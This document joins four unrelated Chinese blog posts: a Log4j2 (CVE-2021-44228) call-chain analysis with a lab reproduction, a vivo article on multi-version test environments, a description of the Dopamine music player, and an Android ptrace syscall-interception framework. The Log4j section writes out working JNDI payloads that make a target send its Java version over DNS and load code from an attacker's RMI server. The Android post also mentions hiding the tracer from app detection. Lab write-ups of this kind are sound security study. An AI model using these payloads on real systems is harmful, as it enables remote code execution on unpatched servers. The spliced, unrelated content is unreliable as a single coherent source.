2024年9月

Log4j2漏洞原理

前排提醒:本篇文章基于我另外一篇总结的JNDI注入后写的,建议先看该文章进行简单了解JNDI注入:
https://blog.csdn.net/weixin_60521036/article/details/142322372
提前小结说明

Log4j2(CVE-2021-44228)漏洞造成是因为 通过
MessagePatternConverter
类进入他的
format
函数入口后需匹配判断是否存在${,若存在进入if后的
workingBuilder.append(config.getStrSubstitutor().replace(event, value));
,最终走到了lookup函数进行jndi注入。
那么我们待会分析就从
MessagePatternConverter

format
函数开始剖析源码。

漏洞根因

参考了网上的文章后,总结发现其实只需要理解最关键和知道几个函数调用栈就能够理解log4j漏洞是怎么造成了。

调用链源码分析

1.首先是打点走到MessagePatternConverter的format函数,这里是事故发生地。
在这里插入图片描述
2.看黄色框,进入if,log4j2漏洞正式开始
在这里插入图片描述
3.注意看这里是匹配
$

{
这里真就匹配这两个,不要觉得说不对称为啥不多匹配一个
}
,就是找到你是否用了
${}
这种格式,用了的话就进到里面做深一步的操作。
(注:这里不会做递归,假如你
${${}}
,递归那一步需要继续看我后面的解释)
在这里插入图片描述
4.看黄色框,
workingBuilder.append(config.getStrSubstitutor().replace(event, value));
,这里有两点很重要,
getStrSubstitutor

replace

先进行getStrSubstitutor,获取一个StrSubstitutor的对象,接着StrSubstitutor执行replace方法。
在这里插入图片描述
5.这里需要跟进replace方法,他会执行
substitute
方法。
substitute
函数很重要,需要继续跟进他。
在这里插入图片描述
6.进到
substitute
里面他主要做了以下操作

  • 1.
    prefixMatcher.isMatch
    来匹配
    ${
  • 2.
    suffixMatcher.isMatch
    来匹配
    }

如果说匹配到存在
${xxx}
这种数据在的话,就进入到递归继续substitute执行,直到不存在
${xxx}
这种数据为止。(这里就是为了解决
${${}}
这种嵌套问题),那么这里也就解决了上面说为啥一开始进入format函数那里,只匹配
${
而不匹配完整的
${}
的疑惑了,进入到这里面才会继续判断,而且还能帮你解决
${${}}
这种双重嵌套问题。
在这里插入图片描述
7.这个substitute递归完出来后或者说没有继续进到substitute里面的话,下一行代码就是:varNameExpr = bufName.toString(); 作用是取出
${xxxxx}
其中的xxxx数据。
注意是取出来你
${xxx}
里面xxx数据,这里还没进行jndi的注入解析,所以不是解析结果而是取出你注入的代码。
在这里插入图片描述
8.进if里就是 取
varName与varDefaultValue
,检测:和-为了分割出来的jndi与rmi://xxxx。这里不是说真的开发者故意写个函数去为了分割我们的恶意代码,而是这个功能就是这样,恰好我们利用了他而已。这里的函数就不跟进了,了解他就是进行了分割即可,拿到
varName与varDefaultValue

注:再提醒一次,当我们传入的是jndi:rmi://xxxx的时候,这里的
varName与varDefaultValue
取出就是
jndi
和后面的
rmi://xxxx
在这里插入图片描述
9.代码再往下走到会看到
String varValue = resolveVariable(event, varName, buf, startPos, endPos);
,这里我们需要跟进resolveVariable才能继续深入看到jndi的执行。

在这里插入图片描述
10.到了这里终于看到lookup字眼了。
首先你需要知道:
resolver = getVariableResolver() 是获得一个实现StrLookup接口的对象,命名为resolver
其次看到后面
return resolver.lookup(event, variableName);
这里就是返回结果,也就是说这里lookup是执行了结果返回了,为了更加有说服力,这里就继续跟进lookup看他是怎么执行的,毕竟这里的jndi注入和之前不同,多了
jndi:
,而不是传统的直接使用
rmi://xxxx

在这里插入图片描述

11.这里可以看到通过
prefix
取出
:
前的
jndi
,然后再取出后面的
rmi://xxxx
那么也就说这个lookup函数体内部作用是
通过:字符分割
,然后通过传入
jndi
四个字符到
strlookupmap.get

找到jndi访问地址
然后截取到后面的
rmi
用找到的
jndi访问地址

lookup
,那么最后可以看到就是拿到jndi的lookup对象去lookup查询。
在这里插入图片描述
在这里插入图片描述

到这就分析结束了。

substitute
函数体里部分代码如下所示:
(没有第11步的lookup函数体源码,下面是关于
substitute
的代码)

        while (pos < bufEnd) {
            final int startMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd); // prefixMatcher用来匹配是否前两个字符是${
            if (startMatchLen == 0) {
                pos++;
            } else {
                // found variable start marker,如果来到这里的话那么就说明了匹配到了${字符
                if (pos > offset && chars[pos - 1] == escape) {
                    // escaped
                    buf.deleteCharAt(pos - 1);
                    chars = getChars(buf);
                    lengthChange--;
                    altered = true;
                    bufEnd--;
                } else {
                    // find suffix,寻找后缀}符号
                    final int startPos = pos;
                    pos += startMatchLen;
                    int endMatchLen = 0;
                    int nestedVarCount = 0;
                    while (pos < bufEnd) {
                        if (substitutionInVariablesEnabled
                                && (endMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd)) != 0) {
                            // found a nested variable start
                            nestedVarCount++;
                            pos += endMatchLen;
                            continue;
                        }
 
                        endMatchLen = suffixMatcher.isMatch(chars, pos, offset, bufEnd);
                        if (endMatchLen == 0) {
                            pos++;
                        } else {
                            // found variable end marker
                            if (nestedVarCount == 0) {
                                String varNameExpr = new String(chars, startPos + startMatchLen, pos - startPos - startMatchLen);
                                if (substitutionInVariablesEnabled) {
                                    final StringBuilder bufName = new StringBuilder(varNameExpr);
                                    substitute(event, bufName, 0, bufName.length()); // 递归调用
                                    varNameExpr = bufName.toString();
                                }
                                pos += endMatchLen;
                                final int endPos = pos;
 
                                String varName = varNameExpr;
                                String varDefaultValue = null;
 
                                if (valueDelimiterMatcher != null) {
                                    final char [] varNameExprChars = varNameExpr.toCharArray();
                                    int valueDelimiterMatchLen = 0;
                                    for (int i = 0; i < varNameExprChars.length; i++) {
                                        // if there's any nested variable when nested variable substitution disabled, then stop resolving name and default value.
                                        if (!substitutionInVariablesEnabled
                                                && prefixMatcher.isMatch(varNameExprChars, i, i, varNameExprChars.length) != 0) {
                                            break;
                                        }
										// 如果检测到其中还有:和-的符号,那么会将其进行分隔, :- 面的作为varName,后面的座位DefaultValue
                                        if ((valueDelimiterMatchLen = valueDelimiterMatcher.isMatch(varNameExprChars, i)) != 0) {
                                            varName = varNameExpr.substring(0, i);
                                            varDefaultValue = varNameExpr.substring(i + valueDelimiterMatchLen);
                                            break;
                                        }
                                    }
                                }
 
                                // on the first call initialize priorVariables
                                if (priorVariables == null) {
                                    priorVariables = new ArrayList<>();
                                    priorVariables.add(new String(chars, offset, length + lengthChange));
                                }
 
                                // handle cyclic substitution
                                checkCyclicSubstitution(varName, priorVariables);
                                priorVariables.add(varName);
 
                                // resolve the variable
								//上面的一系列数据检测都完成了之后接下来就是解析执行这段数据了,这里是通过resolveVariable方法
                                String varValue = resolveVariable(event, varName, buf, startPos, endPos);
                                if (varValue == null) {
                                    varValue = varDefaultValue;
                                }
                                if (varValue != null) {
                                    // recursive replace
                                    final int varLen = varValue.length();
                                    buf.replace(startPos, endPos, varValue);
                                    altered = true;
                                    int change = substitute(event, buf, startPos, varLen, priorVariables);
                                    change = change + (varLen - (endPos - startPos));
                                    pos += change;
                                    bufEnd += change;
                                    lengthChange += change;
                                    chars = getChars(buf); // in case buffer was altered
                                }
 
                                // remove variable from the cyclic stack
                                priorVariables.remove(priorVariables.size() - 1);
                                break;
                            }
                            nestedVarCount--;
                            pos += endMatchLen;
                        }
                    }
                }
            }
        }
        if (top) {
            return altered ? 1 : 0;
        }
        return lengthChange;
    }

调用链总结

约定:调用链每进一层函数就会加一个回车,我这里没有按照全限定名称来写,为了方便理解,加一个回车表示进入到函数的内部。

大白话总结:
在这里插入图片描述

下面是截图的原始数据

调用链
	MessagePatternConverter的format函数
	↓
	workingBuilder.append(config.getStrSubstitutor().replace(event, value));
	↓
	config.getStrSubstitutor()
		↓
	config.getStrSubstitutor().replace()
		↓
		substitute
			↓
			1.prefixMatcher.isMatch来匹配${
			2.suffixMatcher.isMatch来匹配 }
			↓
			进行一个判断 当上面1 2两点都符合的话, 进入substitute递归调用
			这里就是为了解决${${}}这种嵌套问题。
			↓
			递归完下一行代码就是:varNameExpr = bufName.toString(); 作用是取出${xxxxx}其中的xxxx数据
			↓接着走到这段代码->  if ((valueDelimiterMatchLen = valueDelimiterMatcher.isMatch(varNameExprChars, i)) != 0) 
			进if里就是 取varName与varDefaultValue ,检测:和-为了分割出来的jndi与rmi://xxxx
			(这里不是说这么巧为了分割我们的恶意代码,而是这个功能就是这样,恰好我们利用了他而已)
			↓
			代码再往下走到->String varValue = resolveVariable(event, varName, buf, startPos, endPos); 
			进入resolveVariable函数里
				↓
				resolver = getVariableResolver() 获得一个实现StrLookup接口的对象
				后面就return resolver.lookup(event, variableName); 这里就是返回
					↓
					接着这里继续跟进resolver.lookup的调用的话,这个lookup函数体内部作用是通过:字符分隔
					然后通过传入jndi四个字符到strlookupmap.get来找到jndi访问地址然后截取到后面的rmi用jndi访问地址来lookup

漏洞复现

vulhub找到log4j开一个CVE-2021-44228靶场

dns

在这里插入图片描述

  • 先用dns协议进行jndi注入看是否存在log4j漏洞
    ${jndi:dns://${sys:java.version}.example.com}
    是利用JNDI发送DNS请求的Payload,自己修改example.com为你自己的dnslog域名
    http://xxxxx:8983/solr/admin/cores?action=${jndi:dns://${sys:java.version}.xxxx.ceye.io}
    在这里插入图片描述

接着查看我们的dnslog日志,发现确实存在log4j漏洞
在这里插入图片描述

rmi

那么现在开始进行rmi或者ldap攻击了
这里就直接使用利用工具:
https://github.com/welk1n/JNDI-Injection-Exploit
开启恶意服务器:
设置好-C执行的命令
(-A 默认是第一张网卡地址,-A 你的服务器地址,我这里就默认了)

在这里插入图片描述
接着先查看下容器内不存在
/tmp/success_hacker
文件,因为我们-C写的是创建该文件
在这里插入图片描述
接着就可以进行rmi攻击了,复制上面搭建好的rmi服务:
rmi://xxxxxxxxx:1099/dge0kr
在这里插入图片描述
再次查看就会发现已经创建成功了
在这里插入图片描述
PS:如果没有成功的话就多试几个rmi或者ldap服务地址,jdk8还是jdk7都试一下,以前我讲错了以为是1.7和1.8是本地开启工具使用的jdk版本,其实是目标服务器的jdk版本,所以还是那句话,都尝试一下就行,反正我们前面已经用dnslog拖出数据了,证明了是存在漏洞的。
在这里插入图片描述


参考文章:
https://www.cnblogs.com/zpchcbd/p/16200105.html
https://xz.aliyun.com/t/11056

作者:来自 vivo 互联网研发效能团队- Wang Kang

测试环境全链路多版本部署,解决多测试环境资源争抢等问题。

一、背景介绍

软件系统中全链路指的是从用户请求发起,到最终返回响应的整个过程中所涉及到的所有环节和组件。在微服务软件架构风格盛行的今天,因为微服务独立部署、松耦合等特性,往往一个业务系统由数目较多的服务组成,较多的服务往往带来一系列操作上的复杂性。

全链路部署
指的是将整个软件系统的所有服务一次性部署环境中的一种部署方式,这种部署方式可以简化我们日常发布流程,确保系统的所有服务协同工作。

vivo 的 CICD 发布系统从【构建部署脚本自动化】>【持续集成平台化】>【集成更多 DevOps 功能和组件】,演进到现在更加灵活编辑的多服务编排方式。为了适应最新的微服务软件架构风格,CICD 发布系统通过中间件组件和调用链技术实现的落地,基于容器建立了全链路多版本流水线部署能力。

多版本部署
则是基于灰度发布的理念,在同一时间内,将不同版本的服务部署在同一个环境中,使得不同版本的服务可以同时运行和提供服务的一种部署方式。

随着互联网发展增速,软件开发和部署需要快速迭代,软件发布变得越来越频繁和复杂。迭代版本持续交付过程中,多个版本并行基本是所有项目常态化的情况,为此项目团队往往会搭建多套测试环境以备功能验证。多套环境的服务、组件和配置数据维护不仅大量占用研发人员的日常工作时间,环境部署所需资源也占用越来越多的公司硬件成本,即便这样可能也无法完全满足产品研发过程中遇到的紧急修复版本或临时插入的高优需求这样需要占用环境的问题。当前项目的应对措施往往都是让当前常规版本临时“让开”,先让紧急分支版本发布到正在使用的测试环境上,验证通过后再释放环境,让常规版本回归继续测试验证。

图片

我们希望通过全链路多版本部署解决传统测试环境存在的如下几个问题。

图片

二、全链路多版本部署技术方案

2.1 部署架构

上文就全链路多版本部署名称解释和与传统环境区别做了简单介绍,为进一步给大家清晰区分全链路多版本部署的测试环境与传统测试环境区别,下面从部署架构图的角度再次阐述下两者的区别。

传统测试环境就是将业务线上的服务全量部署几套以供使用。传统测试环境使用也比较简单,不同环境通常拥有不同的域名或者同一个域名不同的 hosts 映射,用户通过修改配置直接访问到具体环境上。

图片

在全链路多版本环境中,只有基线环境是将业务线上的服务全量部署,其余特性环境只需拉起需要的个别服务即可。

使用全链路多版本环境时,不同环境访问的域名都是同一个,用户需要通过代理工具添加 Request headers,设置 tc_fd = 环境标识,这样带有标识的请求经过网关时,会根据配置的路由规则转发到指定环境。这里路由规则会由 CICD 平台根据服务编排的组成,自动配置到 HTTP 网关、Dubbo、MQ 等中间件平台上。

如下图黄色箭头所示,带有 tc_fd = 1 标识的请求链路为 service_A_1->service_B_1->service_C->service_D_1。因为特性环境1中不存在 service_C,所以请求流量在 service_C 时回落到基线环境,往下调用时继续路由到 service_D_1 服务,保证了环境的完整性。

图片

想要达成全链路多版本流水线的快速部署,逻辑隔离等特性,需要 CICD 平台把控多服务多版本的统一部署,环境治理和标签管理,容器平台保证业务的弹性伸缩能力,业务的流量灰度由 HTTP 网关和 Dubbo、消息中间件路由策略实现,同时需要配置中心来管理所有服务的配置,以及最重要的底层链路追踪和监控来实现完整的微服务架构。

图片

为了实现全链路多版本部署方案,业务程序遵循微服架构,访问时实现逻辑隔离、将系统的流量划分为不同的通道或环境,每个环境都有其独立的流量,避免它们相互影响是关键的一环。

想要达成全链路多版本流水线的快速部署,逻辑隔离等特性,技术上需要实现如下几点:

  • 流量染色

  • 流量隔离

  • 标签传递

  • 环境管理

2.2 流量染色

接口调用请求时,需要在链路中添加染色标识称作流量染色。针对流量类型不同,服务调用方式不同,可以通过如下几种方式进行染色。

2.2.1 客户端 HTTP 服务调用

浏览器端或者 APP 端发起的 HTTP 请求,用户可以通过本地安装的代理工具拦截 HTTP 请求,再按规则配置注入 tc_fd 流量标识。

推荐的代理工具有Charles 和 Chrome 浏览器插件 ModHeader。

图片

2.2.2 服务端 HTTP 服务调用

如果是对外提供的 REST API 服务,服务调用方请求时不带流量标识,可以在网关层按调用方配置“请求头改写”,实现全局修改。

图片

2.2.3 Dubbo 服务调用

本地服务调试时,Dubbo 消费端可以在上下文中设置标签RpcContext.getContext().setAttachment("Dubbo.tag","流量标识")。

针对整个消费端服务,也可以通过添加 JVM 参数 -Dvivotag = 流量标识进行全局设置。

2.2.4 分布式任务调用

对应配置在“分布式任务调度平台”基于给定的时间点,给定的时间间隔或者给定执行次数自动执行的任务,平台侧也已支持在调度策略上配置当前策略调度分组,以及是否需要调用时添加多版本流量标识。

图片

2.3 流量隔离

上述介绍了几种流量染色方式,当流量染色后,如何将带有环境标识的流量转发到对应的环境呢。我们目前针对 HTTP、Dubbo、MQ 等几种常见流量类型实现了逻辑隔离方案,实现过程中主要考虑到如下几点要素:

  1. 应用侵入性低,减少应用接入成本,由平台自动配置和中间件框架实现隔离逻辑;

  2. 支持业务常见流量类型,覆盖大部分业务逻辑;

  3. 流量隔离改造需考虑性能问题;

  4. 满足特性环境任意扩展的需求,组件支持动态扩缩容。

2.3.1 HTTP 流量隔离

HTTP 流量隔离通过 VUA 网关配置实现,VUA(vivo unity access,公司流量统一接入层)是 vivo 统一接入层,基于 APISIX 的二次开发统一接入平台。通过 VUA 中的 traffic-split 插件可以通过配置 match 和 weighted_upstreams 属性,从而动态地将部分流量引导至各种上游服务。

创建新的流水线后,CICD 发布系统根据新增容器工作负载自动到 VUA 网关上创建 upstream,并且配置按环境标识配置 match 属性,用于引导流量按自定义规则,常见支持的规则有判断 HTTPHeader,pathParam,cookie 参数等。

图片

2.3.2 Dubbo 流量隔离

Dubbo 提供了丰富的流量管控策略,通过基于路由规则的流量管控,可以对每次请求进行条件匹配,并将符合条件的请求路由到特定的地址子集。针对全链路多版本测试环境,我们采取动态配置标签路由规则的方式进行打标,标签主要是指对 Provider 端应用实例的分组,标签路由通过将某一个服务的实例划分到不同的分组,约束具有特定标签的流量只能在指定分组中流转,不同分组为不同的流量场景服务,从而实现流量隔离的目的。

具体做法为由 Dubbo 服务治理平台提供标签新增/删除接口用于动态配置标签路由规则,CICD 发布系统在部署时通过容器 Init Container 特性在实例启动前调用新增 tag 接口打标,完成标签路由规则的自动配置。

图片

2.3.3 MQ 消息隔离

除了应用层 RPC(Remote Procedure Call,远程过程调用)协议的流量隔离,大多数业务场景还会对消息的全链路有一定的诉求。vivo 在线业务侧消息中间件自2022完成了从 RabbitMQ 到 RocketMQ 的平滑升级,目前业务现状仍是使用了 RabbitMQ 的 SDK,由平台侧中间件团队提供 mq-proxy 消息网关组件负责 AMQP 协议与 RocketMQ 协议的相互转换,此为我们公司特殊背景。实现消息隔离的过程分生产者和消费者两部分实现。

  1. 生产者在发送消息的时候,通过在 user-property 中加上一些字段将环境标签附带在消息体中,使得消息发送到 RocketMQ server 的时候就包含灰度信息。

  2. 消费者客户端 SDK 使用全链路 Agent 将版本标识添加到连接属性当中,启动时根据环境标识,由 mq-proxy 自动创建当前带环境标签的 group,并通过消费订阅的消息属性过滤机制,从 topic 中过滤出来属于自己版本的消息。

2.4 标签传递

以上大概介绍了我们支持的三种组件进行流量、消息隔离的基本实现原理。在多版本环境中,真实的业务链路往往是用户通过 HTTP 请求经过网关访问到 service_A 服务,再由 service_A 服务通过 RPC 接口调用到 service_B 服务,service_B 服务生产消息提供给 service_C 服务消费。整个调用过程中如果用户发起请求时加上了 tc_fd 环境标签,也就是流量被染色,请求头中有特定标识之后,标签需要在调用链路中传递下去叫做标签传递。有了这个标识链路传递,我们再为链路上的所有应用定义流量隔离策略才会生效。

图片

标签传递功能借助分布式链路跟踪系统实现,我司分布式链路跟踪系统简称调用链,主要覆盖开发语言为 Java。调用链的 Agent 模块通过字节码增强技术,使用 Java 探针做到了不侵入业务代码的前提下,对服务的类进行拦截,从而植入一些监控埋点上报或者其他代码。

应用到全链路多版本环境部署功能中来,就是在服务接收到请求时,从报文里获取到标签信息,向下游服务发起新的服务请求时,再将获取到的标签信息设置到指定参数位置。向下游传递时几种调用方式的标签设置方式如下:

  • HTTP 请求,透传参数以 key-value 形式附加在 HTTPRequest 的 headers 中,支持向上游回传,回传的参数存在于 HTTPResponse 的 headers 中;

  • Dubbo 调用,透传参数以 key-value 形式附加在 RpcInvocation 的 attachments 中;

  • RMQ  Procuder 发送消息时,透传参数以 key-value 形式附加在消息属性 MessageProperties 的 header 中。

图片

2.5 环境管理

相比之前使用流水线部署传统测试环境,全链路多版本流水线在部署过程中赋予测试环境更多的配置属性,在创建和使用测试环境上更加灵活多变。所以从 CICD 平台建设上,我们需要尽可能的完善平台自动化程度,抹平因为流水线差异导致用户增加使用全链路多版本流水线的操作和理解成本。

2.5.1 基线环境

基线环境作为全链路多版本环境中最基础的环境,是当请求链接不带任何环境标签时默认访问到的环境,基线环境被其他特性环境共享,所以保障基线环境稳定性十分重要。我们在前期推广全链路多版本流水线过程中,为了环境规范化部署,要求业务方接入时需要新建基线环境,且同一服务下基线环境存在唯一性。这样做的好处是环境管理更加规范,坏处却是提高了使用成本,一套服务全都新建基线环境占用大量硬件和人力成本,与推广全链路多版本流水线初衷不符。在吸收用户意见及后续优化后,我们支持了在已有测试环境的基础上进行基线环境改造,以支持其他特性环境的兼容。为了管理基线环境,我们还采取以下措施:

  1. 统一环境配置:为了避免不同环境使用不同的基线环境配置,需要统一基线环境配置,以确保不同特性环境使用的基线环境一致。

  2. 定期更新和维护基线环境:为保证基线环境稳定,需要减少基线环境发布频率,保证部署代码分支质量稳定。按照项目管理特点,可以配置生产环境部署后触发基线环境部署生产环境代码分支;

  3. 监控和报警:对基线环境进行监控,如 CPU、内存、磁盘等资源的使用情况,及时发现问题并进行处理。

2.5.2 特性环境

特性环境是指为了测试和验证某个特性而创建的独立环境,在测试环境场景中与版本属性有关联,每个特性环境有属于自己的环境标签属性,具有快速创建和销毁的特性。特性环境的管理也具备如下几个方面的功能:

  1. 标签管理:每个特性环境创建时会自动生成全局唯一的环境标签,或者指定已有的环境标签。

  2. 快速创建:快速拉起一套新的特性环境,按既有服务流水线模板编排成多服务环境,实现一键运行构建部署所需的多个服务实例。

  3. 环境配置自动化:创建特性环境时,避免创建前申请容器资源,创建后配置路由规则等繁琐操作,具体配置功能尽可能由平台实现自动化。

  4. 定时销毁:每个特性环境设置使用生命周期,到期不用后定时清理流水线和容器实例,避免冗余环境长期不用占用资源。

2.5.3 链路监控

现在大规模微服务分布式架构软件模块的背景下,帮助理解系统行为、用于分析性能问题的工具分布式链路跟踪系统应运而生。因为全链路多版本流水线特性环境流量隔离的特性,因为链路问题可能会导致服务调用串环境,链路监控功能就更为重要。目前关于链路监控的功能建设如下:

  1. 交互便捷:在流水线页面迁入链路可视化菜单,并按环境标签定位到当前环境数据。

  2. 调用拓扑图:通过调用拓扑图展示服务间的调用关系和数据流向,在链路元数据中增加环境标签信息,在链路图形化展示上标记环境信息。

  3. 问题排查:HTTP 调用时通过调用链返回当前 traceId 到 ResponseHeader 上,更加方便用户通过 traceId 直接定位到具体日志。

图片

三、未来与展望

CICD 部署平台建设全链路多版本流水线初衷是为了实现降本增效,节约公司的硬件和环境运营成本,提升研发人员日常工作效率。在具体推广全链路多版本流水线的过程中也遇到了一些问题,如重新搭建基线环境增加成本,已改为兼容原有测试环境替代。当前全链路流水线建设还刚刚起步,未来还有更多空间值得优化:

  1. 支持更多组件和语言:目前流量隔离已支持了 RPC 层的 HTTP 和 Dubbo 流量,消息中间件的 MQ 组件,对于其他 RPC 框架,消息中间件组件,或涉及到非 Java 语言应用时,由于使用范围不普遍,优先级较低,目前还未支持。这项问题会根据公司业务发展和技术应用流行趋势进行调整。

  2. 支持数据逻辑隔离:数据的底层存储通常是 MySQL,Redis,MongoDB 等,因为业务场景复杂,数据隔离实现成本高,暂未实现逻辑隔离的功能。如业务有需求,通常建议准备多套数据库使用物理隔离方案,在配置中心创建多套数据库配置信息方便切换。但是若想业务灰度使用更加丝滑,数据逻辑隔离还需要具备。

  3. 更多应用场景:目前全链路多服务流水线只应用在测试环境部署,如果业务使用流量染色的功能更加熟悉和稳定,未来此项特性在线上 A/B 测试等场景也可支持。

前言

本文介绍一款使用 C# 与 WPF 开发的音频播放器,其界面简洁大方,操作体验流畅。该播放器支持多种音频格式(如 MP4、WMA、OGG、FLAC 等),并具备标记、实时歌词显示等功能。

另外,还支持换肤及多语言(中英文)切换。核心音频处理采用 FFmpeg 组件,获得了广泛认可,目前 GitHub 上已收获 1.8K 星标。

项目介绍

Dopamine 是一款简单好用的、功能强大的、完全免费且无广告的本地音乐播放器。它有绿色便携版(30MB)和可安装版(34MB),目前仅支持 Windows 平台。

它使用 C# 编写并由 CSCore 音频库提供支持。播放器使用了根据 LGPLv2.1 许可的 FFmpeg 代码。

项目页面

首次启动时,它会让我们选择主题颜色、显示语言、库文件(音乐文件所在的目录)。

基本配置好了,就可以看到软件界面

它的界面非常干净,如下图所示:

用户界面与动画效果

这款软件不仅界面美观,还拥有许多令人着迷的动画效果。例如,切换歌曲时软件左下角的动画以及音乐可视化效果等,都显得流畅而自然。

音频格式支持与封面模式

它支持播放 MP3、WMA、OGG、FLAC、M4A、AAC、WAV、APE 和 OPUS 等格式的音频文件。

点击右上角的【切换播放器】按钮,可以开启【封面模式】。

在这个模式下,仅显示歌曲封面和少量控制按钮。

在【封面模式下】,鼠标右键点击它的界面的任意位置,可以打开【简洁模式】和【迷你模式】:

任务栏模式

最小化主窗口后,点击任务栏上的图标可以进入【任务栏模式】

歌词功能

它支持歌词滚动,既可以导入本地歌词文件,也支持从网易云、虾米音乐ChartLyrics、LoloLyrics 和 MetroLyrics 等平台自动获取歌词。

更多功能探索

本文仅展示了部分功能,实际上还有许多其他设置和功能等待你的发现。如果感兴趣,欢迎下载并亲自体验。

项目源码

可以下载 Dopamine 的对应源代码进行学习,以深入了解其设计原理和实现细节。

可以帮助我们提升编程技能,还能为我们提供一个参考案例。

项目结构具体如下:

项目地址

GitHub:
https://github.com/digimezzo/dopamine-windows

下载地址:
https://github.com/digimezzo/dopamine-windows/releases

最后

如果你觉得这篇文章对你有帮助,不妨点个赞支持一下!你的支持是我继续分享知识的动力。如果有任何疑问或需要进一步的帮助,欢迎随时留言。

也可以加入微信公众号
[DotNet技术匠]
社区,与其他热爱技术的同行一起交流心得,共同成长!
优秀是一种习惯,欢迎大家留言学习!

Android
平台从上到下,无需ROOT/解锁/刷机,应用级拦截框架的最后一环 ——
SVC
系统调用拦截。

☞ Github ☜

由于我们虚拟化产品的需求,需要支持在普通的
Android
手机运行。我们需要搭建覆盖应用从上到下各层的应用级拦截框架,而
Abyss
作为系统
SVC
指令的调用拦截,是我们最底层的终极方案。

01. 说明

tracee:

ptrace
附加的进程,通常为目标应用进程。

tracer:
用来
ptrace
其他进程的进程,在该进程里处理系统调用。

本框架利用
Android

Provider
组件启动拦截处理的服务进程,进程启动后创建独立的一个线程循环处理所有拦截的系统调用回调。由于本工程只是演示方案的可行性并打印日志,所以业务逻辑处理比较简单,可以根据需要的自行扩展。

若要接入具体业务,可能需要改成多线程的方式进行处理,提升稳定性。不过我们实测多线切换也有一定损耗,性能提升有限,但确实稳定性有提升,防止某个处理耗时导致应用所有进程阻塞。

02. 处理流程

应用进程
tracee
被附加流程如下:

tracer
过程如下:

说明:
使用
fork()
的目的是为了让工作线程去附加。
ptrace
有严格的限制,只有执行附加
attach
的线程才有权限操作对应
tracee
的寄存器。

03. 系统调用处理

03.01 忽略库机制

由于业务的需要,为了提升性能,我们需要忽略某些库中的系统调用,如:
libc.so


find_libc_exec_maps()
中找到
libc.so
可执行代码在
maps
中的内存地址区间,需要处理的系统调用:

//enable_syscall_filtering()    
FilteredSysnum internal_sysnums[] = {
    { PR_ptrace,		FILTER_SYSEXIT },
    { PR_wait4,		FILTER_SYSEXIT },
    { PR_waitpid,		FILTER_SYSEXIT },
    { PR_execve,		FILTER_SYSEXIT },
    { PR_execveat,		FILTER_SYSEXIT },
    {PR_readlinkat,   FILTER_SYSEXIT}, //暂时没有处理
};

set_seccomp_filters
针对不同的
arch
,设置系统调用的
ebpf
。不同架构的
ebpf
语句会填充到一起,
ebpf
的组成伪代码如下:

for (每一种架构) {
	start_arch_section;
	for (每一个当前架构下的系统调用)
    	add_trace_syscall;
   end_arch_section;
}
finalize_program_filter;

start_arch_section;// 架构相关处理的ebpf,包括libc筛选的语句
add_trace_syscall;// 增加匹配要处理系统调用的ebpf语句
end_arch_section;// 尾部的ebpf语句(语句含义:匹配到系统调用则返回)
finalize_program_filter;// 最后面的ebpf语句,杀死其他异常情况下的线程

最终,调用如下语句,设置
ebpf

status = prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &program);

03.02 PR_ptrace

因为一个
tracee
只能有一个
tracer
,所以需要处理该系统调用,在应用本身使用了
ptrace
的时候进行仿真。

系统调用进入前,将系统调用替换为
PR_void
,不做真正的
ptrace
,后续仿真。

退出系统调用后,针对
ptrace
的仿真。针对请求是
PTRACE_ATTACH

PTRACE_TRACEME
等做各种不同的处理。同时也处理
PTRACE_SYSCALL

PTRACE_CONT

PTRACE_SETOPTIONS

PTRACE_GETEVENTMSG
等各种
ptrace
操作。

ptrace
有各种各样的请求,完整的处理逻辑比较复杂(我们还在消化中)。

03.03 PR_wait4、PR_waitpid

配合
PR_ptrace
使用,如果当前的
tracee
不是一个
tracer
,则不处理直接透传给系统。或者
wait
的第一个参数不为
-1
,则去集合里找看等待的这个线程是否存在并且是否是当前处理线程的
tracee
,如果不是,则不处理直接透传给系统。

处理的逻辑如下:

系统调用进入前,将系统调用替换为
PR_void
,不实际传给内核。

退出系统调用后,仿真
tracer

wait
的处理逻辑。主要为基于当前处理的这个
tracer
(代码里定义为
ptracer
),去遍历它的
tracee
,看是否有事件需要被处理,如有,则填充好寄存器,唤醒当前正在被处理的这个
tracer

03.04 PR_execve、PR_execveat

主要是在
USE_LOADER_EXE
开启时,将
native
程序替换为使用一个固定的
loader
来加载程序。

03.05 拦截日志

E INTERCEPT/SYS: vpid 2: got event 7057f
E INTERCEPT: vpid 2,secomp_enabled 0,
E INTERCEPT/SYS: (null) info: vpid 2: sysenter start: openat(0xffffff9c, 0xb4000073c72fcd60, 0x0, 0x0, 0xb4000073c72fcd88, 0xb4000073c72fcde8) = 0xffffff9c [0x7367d45e80, 0]
E INTERCEPT/SYS: vpid 2: open path:/system/fonts/NotoSansMalayalamUI-VF.ttf
E INTERCEPT/SYS: syscall_number:216
E INTERCEPT/SYS: vpid 2,openat: /system/fonts/NotoSansMalayalamUI-VF.ttf
E INTERCEPT/SYS: (null) info: vpid 2: sysenter end: openat(0xffffff9c, 0xb4000073c72fcd60, 0x0, 0x0, 0xb4000073c72fcd88, 0xb4000073c72fcde8) = 0xffffff9c [0x7367d45e80, 0]
E INTERCEPT/SYS: vpid 2: open path:/system/fonts/NotoSansMalayalamUI-VF.ttf
E INTERCEPT/SYS: (null) info: vpid 2: restarted using 7, signal 0, tracee pid 32222,app_pid 32162

E/INTERCEPT/SYS: (null) info: vpid 3: sysenter start: close(0x90, 0x0, 0x7492d0d088, 0x6, 0x73b7b82860, 0x73b7b82880) = 0x90 [0x73633faae0, 0]
E/INTERCEPT/SYS: syscall_number:41
E/INTERCEPT/SYSW: noting to do,sn:41
E/INTERCEPT/SYS: (null) info: vpid 3: sysenter end: close(0x90, 0x0, 0x7492d0d088, 0x6, 0x73b7b82860, 0x73b7b82880) = 0x90 [0x73633faae0, 0]
E/INTERCEPT/SYS: (null) info: vpid 3: restarted using 7, signal 0, tracee pid 32223,app_pid 32162
E/INTERCEPT/SYS: vpid 3: got event 7057f

04. 附

额外模块:

由于本框架会在原应用中增加一个处理进程,并且会
trace
到应用进程中,因此在实际使用时,还需要对新增进程和
trace
痕迹进行隐藏,防止与应用检测模块冲突,支持完整的应用自身
trace
调用的仿真。

这是附加的应用对抗模块,后面会作为单独文章分享给大家。

参考项目:

https://github.com/proot-me/proot

https://github.com/termux/proot

